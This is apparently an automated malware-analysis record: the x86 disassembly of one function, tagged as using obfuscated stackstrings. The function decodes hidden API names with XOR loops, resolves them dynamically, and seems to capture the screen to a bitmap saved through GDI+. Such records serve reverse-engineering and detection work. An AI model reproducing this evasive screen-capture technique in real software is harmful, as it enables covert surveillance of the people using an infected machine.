Function at 0x422ade
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x44d74d
call fcn.0044d3f0
sub esp, 0x2f4
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18c], 0x64
xor ebx, ebx
mov dword [ebp - 4], ebx
xor eax, eax
inc eax
mov dword [ebp - 0x290], eax
mov dword [ebp - 0x28c], ebx
mov dword [ebp - 0x288], ebx
mov dword [ebp - 0x284], ebx
movaps xmm0, xmmword [0x4087f0]
movups xmmword [ebp - 0x27e], xmm0
lea edx, [ebp - 0x27e]
mov ecx, ebx
mov dword [ebp - 0x1a4], ecx
cmp ecx, 0xe
jae 0x422b50
mov al, byte [edx + ecx + 1]
xor al, byte [ebp - 0x27e]
mov byte [edx + ecx + 1], al
inc ecx
jmp 0x422b34
lea eax, [ebp - 0x26f]
mov byte [eax], bl
lea edi, [ebp - 0x27d]
mov dl, 0x23
mov dword [ebp - 0x11a], 0x4a476423
mov dword [ebp - 0x116], 0x50564f53
mov dword [ebp - 0x112], 0x4f4f470d
mov byte [ebp - 0x10e], bl
lea esi, [ebp - 0x11a]
mov ecx, ebx
mov dword [ebp - 0x1a8], ecx
cmp ecx, 0xb
jae 0x422bb0
mov al, byte [esi + ecx + 1]
xor al, dl
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0x1a8], ecx
mov dl, byte [ebp - 0x11a]
jmp 0x422b92
lea eax, [ebp - 0x10e]
mov byte [eax], bl
lea ecx, [ebp - 0x119]
push ebx
lea eax, [ebp - 0x290]
push eax
lea eax, [ebp - 0x180]
push eax
mov edx, edi
call fcn.0040af96
call eax
movaps xmm0, xmmword [0x409020]
movups xmmword [ebp - 0x23a], xmm0
mov word [ebp - 0x22a], 0x6b
lea edx, [ebp - 0x23a]
mov ecx, ebx
mov dword [ebp - 0x1ac], ecx
cmp ecx, 0x10
jae 0x422c11
mov al, byte [edx + ecx + 1]
xor al, byte [ebp - 0x23a]
mov byte [edx + ecx + 1], al
inc ecx
jmp 0x422bf5
lea eax, [ebp - 0x229]
mov byte [eax], bl
lea edi, [ebp - 0x239]
mov dl, 0x55
mov dword [ebp - 0xf5], 0x30260055
mov dword [ebp - 0xf1], 0x7b676627
mov dword [ebp - 0xed], 0x393931
lea esi, [ebp - 0xf5]
mov ecx, ebx
mov dword [ebp - 0x1b0], ecx
cmp ecx, 0xa
jae 0x422c6b
mov al, byte [esi + ecx + 1]
xor al, dl
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0x1b0], ecx
mov dl, byte [ebp - 0xf5]
jmp 0x422c4d
lea eax, [ebp - 0xea]
mov byte [eax], bl
lea ecx, [ebp - 0xf4]
mov edx, edi
call fcn.0040af96
call eax
mov esi, eax
mov dl, 0x54
mov dword [ebp - 0x16d], 0x20311354
mov dword [ebp - 0x169], 0x303a3d03
mov dword [ebp - 0x165], 0x3106233b
mov word [ebp - 0x161], 0x2037
mov byte [ebp - 0x15f], bl
lea edi, [ebp - 0x16d]
mov ecx, ebx
mov dword [ebp - 0x1b4], ecx
cmp ecx, 0xd
jae 0x422cdf
mov al, byte [edi + ecx + 1]
xor al, dl
mov byte [edi + ecx + 1], al
inc ecx
mov dword [ebp - 0x1b4], ecx
mov dl, byte [ebp - 0x16d]
jmp 0x422cc1
lea eax, [ebp - 0x15f]
mov byte [eax], bl
mov dl, 0x3e
mov dword [ebp - 0x101], 0x5b4d6b3e
mov dword [ebp - 0xfd], 0x100c0d4c
mov dword [ebp - 0xf9], 0x52525a
lea edi, [ebp - 0x101]
mov ecx, ebx
mov dword [ebp - 0x1b8], ecx
cmp ecx, 0xa
jae 0x422d33
mov al, byte [edi + ecx + 1]
xor al, dl
mov byte [edi + ecx + 1], al
inc ecx
mov dword [ebp - 0x1b8], ecx
mov dl, byte [ebp - 0x101]
jmp 0x422d15
lea eax, [ebp - 0xf6]
mov byte [eax], bl
lea ecx, [ebp - 0x100]
lea eax, [ebp - 0x2a0]
push eax
push esi
lea edx, [ebp - 0x16c]
call fcn.0040af96
call eax
mov dl, 0x6b
mov dword [ebp - 0x127], 0x1f0e2c6b
mov byte [ebp - 0x123], 0x3c
push 2
pop eax
mov byte [ebp - 0x122], al
mov dword [ebp - 0x121], 0x1c040f05
mov word [ebp - 0x11d], 0x282f
mov byte [ebp - 0x11b], bl
lea edi, [ebp - 0x127]
mov ecx, ebx
mov dword [ebp - 0x1bc], ecx
cmp ecx, 0xb
jae 0x422db7
mov al, byte [edi + ecx + 1]
xor al, dl
mov byte [edi + ecx + 1], al
inc ecx
mov dword [ebp - 0x1bc], ecx
mov dl, byte [ebp - 0x127]
jmp 0x422d99
lea eax, [ebp - 0x11b]
mov byte [eax], bl
mov dl, 0x7a
mov dword [ebp - 0x10d], 0x1f092f7a
mov word [ebp - 0x109], 0x4908
push 0x48
pop ebx
mov byte [ebp - 0x107], bl
mov dword [ebp - 0x106], 0x16161e54
mov byte [ebp - 0x102], 0
lea edi, [ebp - 0x10d]
xor ecx, ecx
mov dword [ebp - 0x1c0], ecx
cmp ecx, 0xa
jae 0x422e1a
mov al, byte [edi + ecx + 1]
xor al, dl
mov byte [edi + ecx + 1], al
inc ecx
mov dword [ebp - 0x1c0], ecx
mov dl, byte [ebp - 0x10d]
jmp 0x422dfc
lea eax, [ebp - 0x102]
mov byte [eax], 0
lea ecx, [ebp - 0x10c]
push esi
lea edx, [ebp - 0x126]
call fcn.0040af96
call eax
mov edi, eax
mov dword [ebp - 0x178], edi
mov eax, dword [ebp - 0x298]
sub eax, dword [ebp - 0x2a0]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x294]
sub eax, dword [ebp - 0x29c]
mov dword [ebp - 0x17c], eax
mov dl, 4
mov dword [ebp - 0x15e], 0x70614304
mov dword [ebp - 0x15a], 0x6d726140
mov dword [ebp - 0x156], 0x65476167
mov word [ebp - 0x152], 0x7774
mov byte [ebp - 0x150], 0
lea esi, [ebp - 0x15e]
xor ecx, ecx
mov dword [ebp - 0x1c4], ecx
cmp ecx, 0xd
jae 0x422ebc
mov al, byte [esi + ecx + 1]
xor al, dl
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0x1c4], ecx
mov dl, byte [ebp - 0x15e]
jmp 0x422e9e
lea eax, [ebp - 0x150]
mov byte [eax], 0
mov dl, 0x45
mov byte [ebp - 0xa7], dl
push 2
pop ecx
mov byte [ebp - 0xa6], cl
mov dword [ebp - 0xa5], 0x77762c21
mov dword [ebp - 0xa1], 0x2929216b
mov byte [ebp - 0x9d], 0
lea esi, [ebp - 0xa7]
xor ecx, ecx
mov dword [ebp - 0x1c8], ecx
cmp ecx, 9
jae 0x422f1d
mov al, byte [esi + ecx + 1]
xor al, dl
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0x1c8], ecx
mov dl, byte [ebp - 0xa7]
jmp 0x422eff
lea eax, [ebp - 0x9d]
mov byte [eax], 0
lea ecx, [ebp - 0xa6]
push 0xc
push edi
lea edx, [ebp - 0x15d]
call fcn.0040af96
call eax
mov esi, eax
mov dword [ebp - 0x174], esi
movaps xmm0, xmmword [0x408bb0]
movups xmmword [ebp - 0x228], xmm0
mov byte [ebp - 0x218], 0x20
xor ecx, ecx
inc ecx
mov byte [ebp - 0x217], cl
mov word [ebp - 0x216], 6
lea edx, [ebp - 0x228]
xor ecx, ecx
mov dword [ebp - 0x1cc], ecx
cmp ecx, 0x12
jae 0x422f8f
mov al, byte [edx + ecx + 1]
xor al, byte [ebp - 0x228]
mov byte [edx + ecx + 1], al
inc ecx
jmp 0x422f73
lea eax, [ebp - 0x215]
mov byte [eax], 0
xor eax, eax
lea edx, [eax + 1]
mov byte [ebp - 0x38], dl
mov dword [ebp - 0x37], 0x32686546
mov dword [ebp - 0x33], 0x6d652f33
mov word [ebp - 0x2f], 0x6d
xor ecx, ecx
mov dword [ebp - 0x1d0], ecx
lea eax, [ebp - 0x38]
cmp ecx, 9
jae 0x422fdd
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x38]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x1d0], ecx
mov dl, byte [ebp - 0x38]
jmp 0x422fbc
lea eax, [ebp - 0x2e]
mov byte [eax], 0
lea ecx, [ebp - 0x37]
push edi
lea edx, [ebp - 0x227]
call fcn.0040af96
call eax
mov edi, eax
mov dword [ebp - 0x2cc], 0x28
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x2c8], eax
mov ecx, dword [ebp - 0x17c]
neg ecx
mov dword [ebp - 0x2c4], ecx
xor eax, eax
inc eax
mov word [ebp - 0x2c0], ax
mov word [ebp - 0x2be], si
xor edx, edx
mov dword [ebp - 0x2bc], edx
mov dword [ebp - 0x2b8], edx
mov dword [ebp - 0x2b4], edx
mov dword [ebp - 0x2b0], edx
mov dword [ebp - 0x2ac], edx
mov dword [ebp - 0x2a8], edx
mov dword [ebp - 0x2a4], edx
movaps xmm0, xmmword [0x408d30]
movups xmmword [ebp - 0x24c], xmm0
mov word [ebp - 0x23c], 0x43
lea esi, [ebp - 0x24c]
mov ecx, edx
mov dword [ebp - 0x1d4], ecx
cmp ecx, 0x10
jae 0x42308f
mov al, byte [esi + ecx + 1]
xor al, byte [ebp - 0x24c]
mov byte [esi + ecx + 1], al
inc ecx
jmp 0x423073
lea eax, [ebp - 0x23b]
mov byte [eax], dl
mov byte [ebp - 0xc8], bl
mov dword [ebp - 0xc7], 0x7b212c0f
mov dword [ebp - 0xc3], 0x242c667a
mov word [ebp - 0xbf], 0x24
lea esi, [ebp - 0xc8]
mov ecx, edx
mov dword [ebp - 0x1d8], ecx
cmp ecx, 9
jae 0x4230e6
mov al, byte [esi + ecx + 1]
xor al, bl
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0x1d8], ecx
mov bl, byte [ebp - 0xc8]
jmp 0x4230c8
lea eax, [ebp - 0xbe]
mov byte [eax], dl
lea ecx, [ebp - 0xc7]
push edx
push edx
lea eax, [ebp - 0x2d0]
push eax
xor eax, eax
inc eax
push eax
lea eax, [ebp - 0x2cc]
push eax
mov esi, dword [ebp - 0x178]
push esi
lea edx, [ebp - 0x24b]
call fcn.0040af96
call eax
mov ebx, eax
mov dword [ebp - 0x174], ebx
test ebx, ebx
jne 0x42334c
mov dl, 0x73
mov dword [ebp - 0x22], 0x1f163773
mov dword [ebp - 0x1e], 0x37160716
mov word [ebp - 0x1a], 0x30
mov ecx, ebx
mov dword [ebp - 0x1dc], ecx
lea eax, [ebp - 0x22]
cmp ecx, 8
jae 0x42316b
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x22]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x1dc], ecx
mov dl, byte [ebp - 0x22]
jmp 0x42314a
lea eax, [ebp - 0x19]
mov byte [eax], bl
mov dl, 0x14
mov dword [ebp - 0x43], 0x7d705314
mov dword [ebp - 0x3f], 0x703a2627
mov word [ebp - 0x3b], 0x7878
mov byte [ebp - 0x39], bl
mov ecx, ebx
mov dword [ebp - 0x1e0], ecx
lea eax, [ebp - 0x43]
cmp ecx, 9
jae 0x4231b2
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x43]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x1e0], ecx
mov dl, byte [ebp - 0x43]
jmp 0x423191
lea eax, [ebp - 0x39]
mov byte [eax], bl
lea ecx, [ebp - 0x42]
push edi
lea edx, [ebp - 0x21]
call fcn.0040af96
call eax
mov dl, 0x35
mov byte [ebp - 0x88], dl
push 0x71
pop eax
mov byte [ebp - 0x87], al
mov dword [ebp - 0x86], 0x41505950
mov byte [ebp - 0x82], 0x50
mov byte [ebp - 0x81], al
mov word [ebp - 0x80], 0x76
lea edi, [ebp - 0x88]
mov ecx, ebx
mov dword [ebp - 0x1e4], ecx
cmp ecx, 8
jae 0x42321f
mov al, byte [edi + ecx + 1]
xor al, dl
mov byte [edi + ecx + 1], al
inc ecx
mov dword [ebp - 0x1e4], ecx
mov dl, byte [ebp - 0x88]
jmp 0x423201
lea eax, [ebp - 0x7f]
mov byte [eax], bl
push 0x1c
pop edx
mov byte [ebp - 0xbd], dl
mov dword [ebp - 0xbc], 0x2f75785b
mov dword [ebp - 0xb8], 0x7078322e
mov word [ebp - 0xb4], 0x70
lea edi, [ebp - 0xbd]
mov ecx, ebx
mov dword [ebp - 0x1e8], ecx
cmp ecx, 9
jae 0x423276
mov al, byte [edi + ecx + 1]
xor al, dl
mov byte [edi + ecx + 1], al
inc ecx
mov dword [ebp - 0x1e8], ecx
mov dl, byte [ebp - 0xbd]
jmp 0x423258
lea eax, [ebp - 0xb3]
mov byte [eax], bl
lea ecx, [ebp - 0xbc]
push esi
lea edx, [ebp - 0x87]
call fcn.0040af96
call eax
movaps xmm0, xmmword [0x408cf0]
movups xmmword [ebp - 0x25d], xmm0
mov byte [ebp - 0x24d], bl
lea edx, [ebp - 0x25d]
mov ecx, ebx
mov dword [ebp - 0x1ec], ecx
cmp ecx, 0xf
jae 0x4232ca
mov al, byte [edx + ecx + 1]
xor al, byte [ebp - 0x25d]
mov byte [edx + ecx + 1], al
inc ecx
jmp 0x4232ae
lea eax, [ebp - 0x24d]
mov byte [eax], bl
lea edi, [ebp - 0x25c]
mov dl, 0x60
mov dword [ebp - 0x134], 0x9042760
mov dword [ebp - 0x130], 0x13150c10
mov dword [ebp - 0x12c], 0xc0c044e
mov byte [ebp - 0x128], bl
lea esi, [ebp - 0x134]
mov ecx, ebx
mov dword [ebp - 0x1f0], ecx
cmp ecx, 0xb
jae 0x42332a
mov al, byte [esi + ecx + 1]
xor al, dl
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0x1f0], ecx
mov dl, byte [ebp - 0x134]
jmp 0x42330c
lea eax, [ebp - 0x128]
lea ecx, [ebp - 0x133]
mov byte [eax], bl
push dword [ebp - 0x180]
mov edx, edi
call fcn.0040af96
call eax
jmp 0x423a16
mov dl, 0x4f
mov dword [ebp - 0x70], 0x392e1c4f
mov dword [ebp - 0x6c], 0xc0b2a
lea esi, [ebp - 0x70]
xor ecx, ecx
mov dword [ebp - 0x1f4], ecx
cmp ecx, 6
jae 0x423382
mov al, byte [esi + ecx + 1]
xor al, dl
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0x1f4], ecx
mov dl, byte [ebp - 0x70]
jmp 0x423367
lea eax, [ebp - 0x69]
mov byte [eax], 0
mov dl, 0x7e
mov dword [ebp - 0xb2], 0x171a397e
mov dword [ebp - 0xae], 0x1a504c4d
mov word [ebp - 0xaa], 0x1212
mov byte [ebp - 0xa8], 0
lea esi, [ebp - 0xb2]
xor ecx, ecx
mov dword [ebp - 0x1f8], ecx
cmp ecx, 9
jae 0x4233da
mov al, byte [esi + ecx + 1]
xor al, dl
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0x1f8], ecx
mov dl, byte [ebp - 0xb2]
jmp 0x4233bc
lea eax, [ebp - 0xa8]
mov byte [eax], 0
lea ecx, [ebp - 0xb1]
push edi
lea edx, [ebp - 0x6f]
call fcn.0040af96
call eax
mov esi, eax
mov dl, 0x69
mov dword [ebp - 0x7e], 0x50c3a69
mov dword [ebp - 0x7a], 0x261d0a0c
mov dword [ebp - 0x76], 0xa0c030b
mov word [ebp - 0x72], 0x1d
xor ecx, ecx
mov dword [ebp - 0x1fc], ecx
lea eax, [ebp - 0x7e]
cmp ecx, 0xc
jae 0x42343c
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x7e]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x1fc], ecx
mov dl, byte [ebp - 0x7e]
jmp 0x42341b
lea eax, [ebp - 0x71]
mov byte [eax], 0
mov dl, 0x3f
mov dword [ebp - 0x4e], 0x565b783f
mov dword [ebp - 0x4a], 0x5b110d0c
mov word [ebp - 0x46], 0x5353
mov byte [ebp - 0x44], 0
xor ecx, ecx
mov dword [ebp - 0x200], ecx
lea eax, [ebp - 0x4e]
cmp ecx, 9
jae 0x423485
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x4e]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x200], ecx
mov dl, byte [ebp - 0x4e]
jmp 0x423464
lea eax, [ebp - 0x44]
mov byte [eax], 0
lea ecx, [ebp - 0x4d]
push ebx
push edi
lea edx, [ebp - 0x7d]
call fcn.0040af96
call eax
mov dl, 0xb
mov dword [ebp - 0x18], 0x7f62490b
mov dword [ebp - 0x14], 0x7f6749
xor ebx, ebx
mov ecx, ebx
mov dword [ebp - 0x204], ecx
lea eax, [ebp - 0x18]
cmp ecx, 6
jae 0x4234d5
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x18]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x204], ecx
mov dl, byte [ebp - 0x18]
jmp 0x4234b4
lea eax, [ebp - 0x11]
mov byte [eax], bl
mov dl, 0x6e
mov dword [ebp - 0x2d], 0x70a296e
mov dword [ebp - 0x29], 0xa405c5d
push 2
pop eax
mov byte [ebp - 0x25], al
mov byte [ebp - 0x24], al
mov byte [ebp - 0x23], bl
mov ecx, ebx
mov dword [ebp - 0x208], ecx
lea eax, [ebp - 0x2d]
cmp ecx, 9
jae 0x42351f
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x2d]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x208], ecx
mov dl, byte [ebp - 0x2d]
jmp 0x4234fe
lea eax, [ebp - 0x23]
mov byte [eax], bl
lea ecx, [ebp - 0x2c]
push 0xcc0020
push ebx
push ebx
push dword [ebp - 0x178]
push dword [ebp - 0x17c]
push dword [ebp - 0x68]
push ebx
push ebx
push edi
lea edx, [ebp - 0x17]
call fcn.0040af96
call eax
mov dl, 0x1d
mov dword [ebp - 0x64], 0x6e784f1d
mov dword [ebp - 0x60], 0x786f7269
mov word [ebp - 0x5c], 0x5e59
mov byte [ebp - 0x5a], bl
mov ecx, ebx
mov dword [ebp - 0x20c], ecx
lea eax, [ebp - 0x64]
cmp ecx, 9
jae 0x42358c
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x64]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x20c], ecx
mov dl, byte [ebp - 0x64]
jmp 0x42356b
lea eax, [ebp - 0x5a]
mov byte [eax], bl
mov dl, 0x2b
mov dword [ebp - 0x59], 0x424f6c2b
mov dword [ebp - 0x55], 0x4f051918
mov word [ebp - 0x51], 0x4747
mov byte [ebp - 0x4f], bl
mov ecx, ebx
mov dword [ebp - 0x1a0], ecx
lea eax, [ebp - 0x59]
cmp ecx, 9
jae 0x4235d3
mov al, byte [eax + ecx + 1]
xor al, dl
lea edx, [ebp - 0x59]
mov byte [edx + ecx + 1], al
inc ecx
mov dword [ebp - 0x1a0], ecx
mov dl, byte [ebp - 0x59]
jmp 0x4235b2
lea eax, [ebp - 0x4f]
mov byte [eax], bl
lea ecx, [ebp - 0x58]
push esi
push edi
lea edx, [ebp - 0x63]
call fcn.0040af96
call eax
mov dl, 0x58
mov byte [ebp - 0x92], dl
push 0x1c
pop eax
mov byte [ebp - 0x91], al
mov dword [ebp - 0x90], 0x2c3d343d
mov byte [ebp - 0x8c], 0x3d
mov byte [ebp - 0x8b], al
push 0x1b
pop ebx
mov byte [ebp - 0x8a], bl
mov byte [ebp - 0x89], 0
lea esi, [ebp - 0x92]
xor ecx, ecx
mov dword [ebp - 0x210], ecx
cmp ecx, 8
jae 0x42364b
mov al, byte [esi + ecx + 1]
xor al, dl
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0x210], ecx
mov dl, byte [ebp - 0x92]
jmp 0x42362d
lea eax, [ebp - 0x89]
mov byte [eax], 0
mov dl, 0x43
mov dword [ebp - 0xd3], 0x2a270443
mov dword [ebp - 0xcf], 0x276d7170
mov word [ebp - 0xcb], 0x2f2f
mov byte [ebp - 0xc9], 0
lea esi, [ebp - 0xd3]
xor ecx, ecx
mov dword [ebp - 0x214], ecx
cmp ecx, 9
jae 0x4236a6
mov al, byte [esi + ecx + 1]
xor al, dl
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0x214], ecx
mov dl, byte [ebp - 0xd3]
jmp 0x423688
lea eax, [ebp - 0xc9]
mov byte [eax], 0
lea ecx, [ebp - 0xd2]
push edi
lea edx, [ebp - 0x91]
call fcn.0040af96
call eax
mov dl, 0x5f
mov byte [ebp - 0x9c], dl
mov byte [ebp - 0x9b], bl
push 0x3a
pop eax
mov byte [ebp - 0x9a], al
mov byte [ebp - 0x99], 0x33
mov byte [ebp - 0x98], al
mov byte [ebp - 0x97], 0x2b
mov byte [ebp - 0x96], al
mov byte [ebp - 0x95], bl
mov word [ebp - 0x94], 0x1c
lea esi, [ebp - 0x9c]
xor ecx, ecx
mov dword [ebp - 0x184], ecx
cmp ecx, 8
jae 0x42372f
mov al, byte [esi + ecx + 1]
xor al, dl
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0x184], ecx
mov dl, byte [ebp - 0x9c]
jmp 0x423711
lea eax, [ebp - 0x93]
xor edx, edx
mov byte [eax], dl
lea edi, [ebp - 0x9b]
mov byte [ebp - 0xde], bl
mov dword [ebp - 0xdd], 0x28727f5c
mov dword [ebp - 0xd9], 0x777f3529
mov word [ebp - 0xd5], 0x77
lea esi, [ebp - 0xde]
mov ecx, edx
mov dword [ebp - 0x188], ecx
cmp ecx, 9
jae 0x42378e
mov al, byte [esi + ecx + 1]
xor al, bl
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0x188], ecx
mov bl, byte [ebp - 0xde]
jmp 0x423770
lea eax, [ebp - 0xd4]
mov byte [eax], dl
lea ecx, [ebp - 0xdd]
push dword [ebp - 0x178]
mov edx, edi
call fcn.0040af96
call eax
push 0x10
call dword [sym.imp.gdiplus.dll_GdipAlloc]
mov ebx, eax
test ebx, ebx
je 0x4237e6
mov dword [ebx], 0x408654
mov dword [ebx], 0x408648
and dword [ebp - 0x68], 0
lea eax, [ebp - 0x68]
push eax
push 0
push dword [ebp - 0x174]
call dword [sym.imp.gdiplus.dll_GdipCreateBitmapFromHBITMAP]
mov dword [ebx + 8], eax
mov eax, dword [ebp - 0x68]
mov dword [ebx + 4], eax
jmp 0x4237e8
xor ebx, ebx
xor eax, eax
inc eax
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x2dc], eax
mov esi, 0x401148
lea edi, [ebp - 0x2ec]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x2d8], 4
lea eax, [ebp - 0x18c]
mov dword [ebp - 0x2d4], eax
lea eax, [ebp - 0x300]
push eax
push ecx
call fcn.00412654
mov esi, dword [ebp + 8]
lea eax, [esi + 0x10]
mov dword [ebp + 8], eax
mov eax, dword [eax]
inc eax
push 2
pop ecx
mul ecx
push 0xffffffffffffffff
pop ecx
cmovb eax, ecx
push eax
call fcn.0042d915
pop ecx
mov edi, eax
cmp dword [esi + 0x14], 0xf
jbe 0x423851
mov esi, dword [esi]
mov ecx, dword [ebp + 8]
mov ecx, dword [ecx]
inc ecx
push ecx
push esi
push edi
call fcn.00432650
add esp, 0xc
lea eax, [ebp - 0x2f0]
push eax
lea eax, [ebp - 0x300]
push eax
push edi
push dword [ebx + 4]
call dword [sym.imp.gdiplus.dll_GdipSaveImageToFile]
test eax, eax
je 0x423881
mov dword [ebx + 8], eax
mov eax, dword [ebx]
xor ecx, ecx
inc ecx
push ecx
mov ecx, ebx
call dword [eax]
push 0x3a
pop edx
mov byte [ebp - 0x14f], dl
mov dword [ebp - 0x14e], 0x5f565f7e
mov dword [ebp - 0x14a], 0x58755f4e
mov dword [ebp - 0x146], 0x4e595f50
xor ebx, ebx
mov byte [ebp - 0x142], bl
lea esi, [ebp - 0x14f]
mov ecx, ebx
mov dword [ebp - 0x190], ecx
cmp ecx, 0xc
jae 0x4238e6
mov al, byte [esi + ecx + 1]
xor al, dl
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0x190], ecx
mov dl, byte [ebp - 0x14f]
jmp 0x4238c8
lea eax, [ebp - 0x142]
mov byte [eax], bl
lea edi, [ebp - 0x14e]
push 0x71
pop edx
mov byte [ebp - 0xe9], dl
mov dword [ebp - 0xe8], 0x42181536
mov dword [ebp - 0xe4], 0x1d155f43
mov word [ebp - 0xe0], 0x1d
lea esi, [ebp - 0xe9]
mov ecx, ebx
mov dword [ebp - 0x194], ecx
cmp ecx, 9
jae 0x423946
mov al, byte [esi + ecx + 1]
xor al, dl
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0x194], ecx
mov dl, byte [ebp - 0xe9]
jmp 0x423928
lea eax, [ebp - 0xdf]
mov byte [eax], bl
lea ecx, [ebp - 0xe8]
push dword [ebp - 0x174]
mov edx, edi
call fcn.0040af96
call eax
movaps xmm0, xmmword [0x408aa0]
movups xmmword [ebp - 0x26e], xmm0
mov byte [ebp - 0x25e], bl
lea edx, [ebp - 0x26e]
mov ecx, ebx
mov dword [ebp - 0x198], ecx
cmp ecx, 0xf
jae 0x42399b
mov al, byte [edx + ecx + 1]
xor al, byte [ebp - 0x26e]
mov byte [edx + ecx + 1], al
inc ecx
jmp 0x42397f
lea eax, [ebp - 0x25e]
mov byte [eax], bl
lea edi, [ebp - 0x26d]
mov dl, 0x22
mov dword [ebp - 0x141], 0x4b466522
mov dword [ebp - 0x13d], 0x51574e52
mov dword [ebp - 0x139], 0x4e4e460c
mov byte [ebp - 0x135], bl
lea esi, [ebp - 0x141]
mov ecx, ebx
mov dword [ebp - 0x19c], ecx
cmp ecx, 0xb
jae 0x4239fb
mov al, byte [esi + ecx + 1]
xor al, dl
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0x19c], ecx
mov dl, byte [ebp - 0x141]
jmp 0x4239dd
lea eax, [ebp - 0x135]
lea ecx, [ebp - 0x140]
jmp 0x423336
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 8